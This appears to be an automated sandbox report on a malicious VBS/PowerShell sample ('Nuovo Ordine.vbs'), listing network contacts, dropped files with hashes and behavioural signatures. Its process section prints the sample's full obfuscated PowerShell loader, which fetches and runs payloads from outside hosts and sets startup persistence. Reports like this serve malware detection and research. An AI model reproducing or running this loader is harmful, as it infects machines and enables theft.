| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ftp.desckvbrat.com.br | udp |
| BR | 191.252.83.213:21 | ftp.desckvbrat.com.br | tcp |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 213.83.252.191.in-addr.arpa | udp |
| BR | 191.252.83.213:60487 | ftp.desckvbrat.com.br | tcp |
| US | 8.8.8.8:53 | paste.ee | udp |
| US | 172.67.187.200:443 | paste.ee | tcp |
| US | 8.8.8.8:53 | 200.187.67.172.in-addr.arpa | udp |
| BR | 191.252.83.213:60059 | ftp.desckvbrat.com.br | tcp |
| US | 8.8.8.8:53 | evirtualservicesreviews.com | udp |
| US | 199.250.212.228:443 | evirtualservicesreviews.com | tcp |
| US | 8.8.8.8:53 | 228.212.250.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| BR | 191.252.83.213:60411 | ftp.desckvbrat.com.br | tcp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 235.4.20.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 52.111.227.11:443 | tcp | |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
Files
memory/1648-0-0x00007FF9E6273000-0x00007FF9E6275000-memory.dmp
memory/1648-2-0x000002495C3D0000-0x000002495C3F2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f43e0eei.g01.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1648-11-0x00007FF9E6270000-0x00007FF9E6D31000-memory.dmp
memory/1648-12-0x00007FF9E6270000-0x00007FF9E6D31000-memory.dmp
memory/4992-22-0x0000021FDEAD0000-0x0000021FDEADA000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1
| MD5 | 88866d122b976b0a8114b0309ec70ef8 |
| SHA1 | a0273ed02e11a1e89988e6f274f530879582219d |
| SHA256 | 4c28d22c6b14dc8c9d4e28e01071595a420eec3cb7cf9566f2f61c9da8fdf483 |
| SHA512 | d6cf81b20b958679569542ed830ef0c56d416c6f5fae2382ab8b086e4f17ed62fed9ab316511b3abda7da4ad3c7ce60ecd413eda26297db61cd526a00480cea1 |
memory/1648-36-0x00007FF9E6270000-0x00007FF9E6D31000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 6cf293cb4d80be23433eecf74ddb5503 |
| SHA1 | 24fe4752df102c2ef492954d6b046cb5512ad408 |
| SHA256 | b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8 |
| SHA512 | 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | c2591b8d3c298836fc77aeec431b0a88 |
| SHA1 | 56aed0d369ac0a912275f1d29075c78da932e2a7 |
| SHA256 | bfca64476080417d90c94877309a740be930c08c7d60bd2579ff9b523b4d9c9f |
| SHA512 | 95162e3fd633a27db36565cacc0c6e0ce220e080ca402849238cf4db42ed19772959c4d664a82cfbfeceac4271d49a0f1f5a2c0edceecbd100d7f7797a5211c8 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 083782a87bd50ffc86d70cbc6f04e275 |
| SHA1 | 0c11bc2b2c2cf33b17fff5e441881131ac1bee31 |
| SHA256 | 7a54dcc99ebfb850afde560857e2d1f764a53ff09efd03222f56ab547539798f |
| SHA512 | a7e56293e07acce20e69dceb13282e5d1eed2ef972a4c9cf1fb4f973b4b7d6a9ca8714fc547ab662842205383891372a2386fc3a12af3d7e4ef6a195f8a2bf02 |
memory/1648-43-0x00007FF9E6270000-0x00007FF9E6D31000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\hdzkt.ps1
| MD5 | 8481d9764cda27d097559253f6c5804a |
| SHA1 | 813e576e5f5ee54ee74ead61e30b6e3d04a377a3 |
| SHA256 | 3d641dae182ce73851fcfb842ba19ba70f0e5c2b02730fc66948cec688d3949d |
| SHA512 | 3a0b4eb5fd1e01656256308c40e5eca3eb036e33fe686ce22dc6223b2057359db0da020aab8d80c1c68f0b60b17565bf37c60e76224b4fecb5c320c52d9cd282 |
memory/4100-57-0x00000219FC8F0000-0x00000219FC8FA000-memory.dmp
memory/1696-58-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1696-60-0x0000000000400000-0x0000000000454000-memory.dmp
memory/1696-62-0x0000000000400000-0x0000000000454000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-23 14:15
Reported
2024-09-23 14:18
Platform
win7-20240903-en
Max time kernel
121s
Max time network
121s
Command Line
Signatures
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nuovo Ordine.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nuovo Ordine.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\wusa.lock | C:\Windows\system32\wusa.exe | N/A |
| File opened for modification | C:\Windows\Logs\DPX\setupact.log | C:\Windows\system32\wusa.exe | N/A |
| File opened for modification | C:\Windows\Logs\DPX\setuperr.log | C:\Windows\system32\wusa.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦHcҼмẦcҼмẦҼмẦtҼмẦGkҼмẦbgBjҼмẦGwҼмẦdQBkҼмẦGUҼмẦcwҼмẦvҼмẦGYҼмẦbwBuҼмẦHQҼмẦcwҼмẦvҼмẦGkҼмẦdҼмẦBvҼмẦC4ҼмẦdҼмẦB4ҼмẦHQҼмẦJwҼмẦgҼмẦCgҼмẦIҼмẦBdҼмẦF0ҼмẦWwB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwBbҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦGwҼмẦbҼмẦB1ҼмẦG4ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZQBrҼмẦG8ҼмẦdgBuҼмẦEkҼмẦLgҼмẦpҼмẦCҼмẦҼмẦJwBJҼмẦFYҼмẦRgByҼмẦHҼмẦҼмẦJwҼмẦgҼмẦCgҼмẦZҼмẦBvҼмẦGgҼмẦdҼмẦBlҼмẦE0ҼмẦdҼмẦBlҼмẦEcҼмẦLgҼмẦpҼмẦCcҼмẦMQBzҼмẦHMҼмẦYQBsҼмẦEMҼмẦLgҼмẦzҼмẦHkҼмẦcgBhҼмẦHIҼмẦYgBpҼмẦEwҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦCcҼмẦKҼмẦBlҼмẦHҼмẦҼмẦeQBUҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦKҼмẦBkҼмẦGEҼмẦbwBMҼмẦC4ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦdҼмẦBuҼмẦGUҼмẦcgByҼмẦHUҼмẦQwҼмẦ6ҼмẦDoҼмẦXQBuҼмẦGkҼмẦYQBtҼмẦG8ҼмẦRҼмẦBwҼмẦHҼмẦҼмẦQQҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwҼмẦpҼмẦCҼмẦҼмẦKQҼмẦgҼмẦCcҼмẦQQҼмẦnҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦCcҼмẦkyE6ҼмẦJMhJwҼмẦgҼмẦCgҼмẦZQBjҼмẦGEҼмẦbҼмẦBwҼмẦGUҼмẦUgҼмẦuҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦDQҼмẦNgBlҼмẦHMҼмẦYQBCҼмẦG0ҼмẦbwByҼмẦEYҼмẦOgҼмẦ6ҼмẦF0ҼмẦdҼмẦByҼмẦGUҼмẦdgBuҼмẦG8ҼмẦQwҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWgBjҼмẦEIҼмẦYwBhҼмẦCQҼмẦIҼмẦBdҼмẦF0ҼмẦWwBlҼмẦHQҼмẦeQBCҼмẦFsҼмẦOwҼмẦnҼмẦCUҼмẦSQBoҼмẦHEҼмẦUgBYҼмẦCUҼмẦJwҼмẦgҼмẦD0ҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBwҼмẦHoҼмẦeQBhҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦKҼмẦBlҼмẦHMҼмẦbwBwҼмẦHMҼмẦaQBkҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQҼмẦgҼмẦCcҼмẦdҼмẦB4ҼмẦHQҼмẦLgҼмẦxҼмẦDҼмẦҼмẦTҼмẦBMҼмẦEQҼмẦLwҼмẦxҼмẦDҼмẦҼмẦLwByҼмẦGUҼмẦdҼмẦBwҼмẦHkҼмẦcgBjҼмẦHҼмẦҼмẦVQҼмẦvҼмẦHIҼмẦYgҼмẦuҼмẦG0ҼмẦbwBjҼмẦC4ҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦuҼмẦHҼмẦҼмẦdҼмẦBmҼмẦEҼмẦҼмẦMQB0ҼмẦGEҼмẦcgBiҼмẦHYҼмẦawBjҼмẦHMҼмẦZQBkҼмẦC8ҼмẦLwҼмẦ6ҼмẦHҼмẦҼмẦdҼмẦBmҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦEҼмẦҼмẦQҼмẦBwҼмẦEoҼмẦOҼмẦҼмẦ3ҼмẦDUҼмẦMQҼмẦyҼмẦG8ҼмẦcgBwҼмẦHIҼмẦZQBwҼмẦG8ҼмẦbҼмẦBlҼмẦHYҼмẦZQBkҼмẦCcҼмẦLҼмẦҼмẦpҼмẦCkҼмẦOQҼмẦ0ҼмẦCwҼмẦNgҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ3ҼмẦDkҼмẦLҼмẦҼмẦ0ҼмẦDEҼмẦMQҼмẦsҼмẦDgҼмẦOQҼмẦsҼмẦDgҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦwҼмẦDEҼмẦLҼмẦҼмẦ5ҼмẦDkҼмẦLҼмẦҼмẦ1ҼмẦDEҼмẦMQҼмẦsҼмẦDEҼмẦMҼмẦҼмẦxҼмẦCwҼмẦMҼмẦҼмẦwҼмẦDEҼмẦKҼмẦBdҼмẦF0ҼмẦWwByҼмẦGEҼмẦaҼмẦBjҼмẦFsҼмẦIҼмẦBuҼмẦGkҼмẦbwBqҼмẦC0ҼмẦKҼмẦҼмẦoҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦawByҼмẦG8ҼмẦdwB0ҼмẦGUҼмẦTgҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwҼмẦtҼмẦHcҼмẦZQBuҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHMҼмẦbҼмẦBhҼмẦGkҼмẦdҼмẦBuҼмẦGUҼмẦZҼмẦBlҼмẦHIҼмẦQwҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦyҼмẦDEҼмẦcwBsҼмẦFQҼмẦOgҼмẦ6ҼмẦF0ҼмẦZQBwҼмẦHkҼмẦVҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGwҼмẦbwBjҼмẦG8ҼмẦdҼмẦBvҼмẦHIҼмẦUҼмẦB5ҼмẦHQҼмẦaQByҼмẦHUҼмẦYwBlҼмẦFMҼмẦOgҼмẦ6ҼмẦF0ҼмẦcgBlҼмẦGcҼмẦYQBuҼмẦGEҼмẦTQB0ҼмẦG4ҼмẦaQBvҼмẦFҼмẦҼмẦZQBjҼмẦGkҼмẦdgByҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦ7ҼмẦH0ҼмẦZQB1ҼмẦHIҼмẦdҼмẦҼмẦkҼмẦHsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦawBjҼмẦGEҼмẦYgBsҼмẦGwҼмẦYQBDҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBkҼмẦGkҼмẦbҼмẦBhҼмẦFYҼмẦZQB0ҼмẦGEҼмẦYwBpҼмẦGYҼмẦaQB0ҼмẦHIҼмẦZQBDҼмẦHIҼмẦZQB2ҼмẦHIҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦgҼмẦGYҼмẦLwҼмẦgҼмẦDҼмẦҼмẦIҼмẦB0ҼмẦC8ҼмẦIҼмẦByҼмẦC8ҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦG4ҼмẦdwBvҼмẦGQҼмẦdҼмẦB1ҼмẦGgҼмẦcwҼмẦgҼмẦDsҼмẦJwҼмẦwҼмẦDgҼмẦMQҼмẦgҼмẦHҼмẦҼмẦZQBlҼмẦGwҼмẦcwҼмẦnҼмẦCҼмẦҼмẦZҼмẦBuҼмẦGEҼмẦbQBtҼмẦG8ҼмẦYwҼмẦtҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦDsҼмẦIҼмẦBlҼмẦGMҼмẦcgBvҼмẦGYҼмẦLQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHҼмẦҼмẦdQB0ҼмẦHIҼмẦYQB0ҼмẦFMҼмẦXҼмẦBzҼмẦG0ҼмẦYQByҼмẦGcҼмẦbwByҼмẦFҼмẦҼмẦXҼмẦB1ҼмẦG4ҼмẦZQBNҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwB3ҼмẦG8ҼмẦZҼмẦBuҼмẦGkҼмẦVwBcҼмẦHQҼмẦZgBvҼмẦHMҼмẦbwByҼмẦGMҼмẦaQBNҼмẦFwҼмẦZwBuҼмẦGkҼмẦbQBhҼмẦG8ҼмẦUgBcҼмẦGEҼмẦdҼмẦBhҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦCҼмẦҼмẦKҼмẦҼмẦgҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBuҼмẦGkҼмẦdҼмẦBzҼмẦGUҼмẦRҼмẦҼмẦtҼмẦCҼмẦҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦBtҼмẦGUҼмẦdҼмẦBJҼмẦC0ҼмẦeQBwҼмẦG8ҼмẦQwҼмẦgҼмẦDsҼмẦIҼмẦB0ҼмẦHIҼмẦYQB0ҼмẦHMҼмẦZQByҼмẦG8ҼмẦbgҼмẦvҼмẦCҼмẦҼмẦdҼмẦBlҼмẦGkҼмẦdQBxҼмẦC8ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGEҼмẦcwB1ҼмẦHcҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGwҼмẦbҼмẦBlҼмẦGgҼмẦcwByҼмẦGUҼмẦdwBvҼмẦHҼмẦҼмẦIҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZQBtҼмẦGEҼмẦTgByҼмẦGUҼмẦcwBVҼмẦDoҼмẦOgBdҼмẦHQҼмẦbgBlҼмẦG0ҼмẦbgBvҼмẦHIҼмẦaQB2ҼмẦG4ҼмẦRQBbҼмẦCҼмẦҼмẦKwҼмẦgҼмẦCcҼмẦXҼмẦBzҼмẦHIҼмẦZQBzҼмẦFUҼмẦXҼмẦҼмẦ6ҼмẦEMҼмẦJwҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦHUҼмẦcwBtҼмẦC4ҼмẦbgBpҼмẦHcҼмẦcҼмẦBVҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBOҼмẦEoҼмẦVҼмẦB4ҼмẦEQҼмẦJҼмẦҼмẦgҼмẦCwҼмẦQgBLҼмẦEwҼмẦUgBVҼмẦCQҼмẦKҼмẦBlҼмẦGwҼмẦaQBGҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHMҼмẦdҼмẦBtҼмẦG8ҼмẦbwҼмẦkҼмẦDsҼмẦOҼмẦBGҼмẦFQҼмẦVQҼмẦ6ҼмẦDoҼмẦXQBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgB0ҼмẦHgҼмẦZQBUҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwB0ҼмẦE8ҼмẦTҼмẦBjҼмẦF8ҼмẦSwBhҼмẦDMҼмẦWgBmҼмẦG8ҼмẦWҼмẦҼмẦyҼмẦEoҼмẦSgByҼмẦFYҼмẦaҼмẦBtҼмẦFYҼмẦOQBjҼмẦG0ҼмẦOQBYҼмẦHMҼмẦdQBYҼмẦG0ҼмẦagҼмẦxҼмẦGcҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦ7ҼмẦCҼмẦҼмẦKQҼмẦnҼмẦDIҼмẦNҼмẦB1ҼмẦFgҼмẦSgBUҼмẦHEҼмẦYQBtҼмẦGcҼмẦeQBNҼмẦHQҼмẦRgB6ҼмẦGEҼмẦawBQҼмẦFIҼмẦMQBxҼмẦF8ҼмẦSQB2ҼмẦEcҼмẦaQBYҼмẦE4ҼмẦZҼмẦBxҼмẦGEҼмẦTgҼмẦxҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0AIABvAHgASwBVAGcAJAB7ACAAKQAgAHUATgBDAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAdQBOAEMAVgBxACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAG8AeABLAFUAZwAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAE4ASgBUAHgARAAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABOAEoAVAB4AEQAJAB7ACAAKQAgAGQAdgBvAGYAWAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAGQAdgBvAGYAWAAkACAAOwA=';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs');powershell $DLOWx
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
